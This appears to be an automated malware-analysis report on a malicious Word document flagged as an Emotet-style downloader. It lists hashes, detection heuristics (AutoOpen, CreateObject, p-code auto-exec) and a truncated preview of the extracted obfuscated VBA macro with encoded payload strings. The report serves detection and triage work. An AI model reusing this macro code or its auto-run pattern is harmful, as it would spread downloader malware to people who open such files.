Office (OLE) malware analysis — malicious · c2fdb5a009f340c5

MALICIOUS

Office (OLE)

227.0 KB Created: 2018-03-27 09:53:00 Authoring application: Microsoft Office Word First seen: 2018-11-20

MD5: d090ee216917b54dab73b801a01b25da SHA-1: 648fc2365e3a8c624c5707d65e715ca2c030cb67 SHA-256: c2fdb5a009f340c5576f123c2f4aabd4650e82b858eb29a111ca84ea7a119713

224 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro uses `CreateObject` and is triggered by the `AutoOpen` function, indicating an attempt to execute arbitrary code. The ClamAV detection `Doc.Malware.Emodldr-10025032-0` and the presence of a VBA macro strongly suggest this is a downloader or droppper.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	40380 bytes
SHA-256: `ea170712ccb629f687c0a37603067fc884778ec11ed5ad1cb1916ff94ae3a122`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 24 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "tCCXuEYFz" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "BhTTptSUcwdpC" Function hUDOOlajufizz() On Error Resume Next For Each bQIjKB In VOscqN LujoIw = 31671 - XzLALS For Each IEdzS In DfAzY UjSILW = qrvGOZ Next Next plvhwtLcvj = fBpVua("%pBZhAGUANwAwADYAMQAyADUAMABkADgAOQAzAGMAMQAzADkAZQA1ADcAZAA1ADYANwAzADAAMwBjADIAMgBlAqMbh", 5, 82) For Each fsIXJ In WBFozr cHPjpk = 9151 - MErzdM For Each cNzOaD In KWcpiW diJUb = ibLQi Next Next For Each RPHQzQ In TviKW fRZUt = 56771 - sfrLw For Each ajfGkZ In SMYvIs srJFPQ = KihPFK Next Next iYFib = fBpVua("duyADMAOABhADYANQAxADIMvn6q", 3, 20) For Each jlYvUw In anptlv StdLAj = 62890 - VlvfE For Each CwqiP In jbzznu REULi = FrkDD Next Next For Each YFzWhf In HvAYbU btzOw = 3904 - TGilU For Each HbwtU In wHtvR ijbju = faDNnT Next Next irQdDzpPWNi = fBpVua("z9lNzQaIAZAAn4", 8, 5) For Each jiNEwV In NUXfwG RYziw = 65092 - PVokM For Each GuHto In DoiiCu jrOIv = nZNBDf Next Next For Each SAtzio In oTSfwW IHHZiL = 88357 - OzsON For Each DRJjqM In jVQOqo WUvMt = UZlsB Next Next hUdCPpi = fBpVua("KsBjADQANgAwAGUAMQA3AGYAMAAzADYANwA3ADAAYwBjAGEAMgBlAGYAOQBjAGUANQBjADEANQA0AGYAMABmAGUAOQAzADEANwAwAGQANwA4ADgAYwBlADkAMABhAGEANQAnsKV", 3, 129) For Each lBmwH In btlCJ GKnYmq = 20565 - WUutCf For Each GTdjQ In lawwZJ PvnULv = iTvmu Next Next For Each AcOfp In LERYRY ZKtrhm = 28195 - POKVT For Each bvrNz In CjDwI WUzwK = hWBqfq Next Next KiKbb = fBpVua("bJEAMABkADcAYwAyADUAMgA5ADUAMAA3ADIAMwBkADIAOAA5ADMAYQAzAGIAOAA3AGEAMgBlAGQANwBhAGQANQBhADYAOAAzAGUAOQBjAGEANgA2ADMAMAAzAGIAMQBjADYANgBhADMAYQBmADAAZABjADUAMwBlAGQANQAwAGUAMwA2AGQANQBhADAAMABjADW47hDn", 3, 192) For Each fNkkN In KWQkJ LRJtpH = 94518 - VQuWQD For Each nzWlQ In vUBRw rzpFko = zaYcL Next Next For Each aXLlAL In wZnuU wSplF = 47908 - AXXDaI For Each LdokS In lqiKf JCGksh = iImtKE Next Next hBbqG = fBpVua("iA2AGUAZQBjAGQANABmAGYAYgAwAGQAMABjAGQAMQBhAGEAOABlADkAZgA4AGQANgBkAGYAMwA4AGEAMQBiAGQAYgAzADkAZQAyADgANgA3ADdqBFm", 2, 108) For Each krCzH In srDUk bBbIo = 60144 - iPfun For Each WoaLZk In fLiuoi TjRzl = pFjHzz Next Next For Each piLKI In Zapsfo IaZDJw = 60350 - jRQTlK For Each tZqlmY In AiOffE cHpNiZ = WmavVQ Next Next QYYwGdNM = fBpVua("6wA0ADEAYwAwAGEAYQBkAGIAMwAyADAAZAA0ADYANwBkADEAOQAwAGIAYwBhADcAMgBmADMAOABhADgAZgBmADcANwBjADkAYgAzADUAZgBhADQASis5ANX", 2, 111) For Each NvrWk In hPBuBM arpiTa = 3804 - KbFHl For Each WmQpR In SmmXI cMMFuM = tSfzw Next Next For Each mfbcr In IkrRcL PKtHZ = 38680 - liuVn For Each iwDvO In jcpzz FlFNwZ = wfDcXl Next Next YEIpVu = fBpVua("lpRHbmAGMAOAA1ADAANQA3ADIAOQA1ADUAZABjADEANQA5AGUAYgBim", 6, 48) For Each qwRIlF In XFLhwD idaLt = 61626 - ivYhU For Each roiTf In ZLiLj tmhjt = zWWRBd Next Next For Each nzmFn In APVFsF RhWsX = 93888 - SOjhPD For Each KciVzC In wVrFuL kWMmT = IIipAN Next Next KtUdHkfKRU = fBpVua("m1oLAMQA3AGIANgA1ADkANAAwAGIAMAA1AGQAZQAyAGYANwA4ADYAYQA5ADQANQA0AGQANwA1AGIANgBhADgAYwBmADUAMwAzADIAZABlADUAZgBiADkAOAAxADIAOAAzADcAMABjAGEAZABkADgANwBhAGEAMABjADIAYQBjADEAMQBhADMAMwBhADgAYgBjA3ab", 5, 190) For Each hYSFqk In pnqkt VUMim = 55781 - ZirUuw For Each YCzpV In LBXCmP wMwjc = QWnwAC Next Next For Each HERBj In mfffQH vTpHtY = 82350 - TzRJDB For Each MQwncl In iqiXCR ... (truncated)

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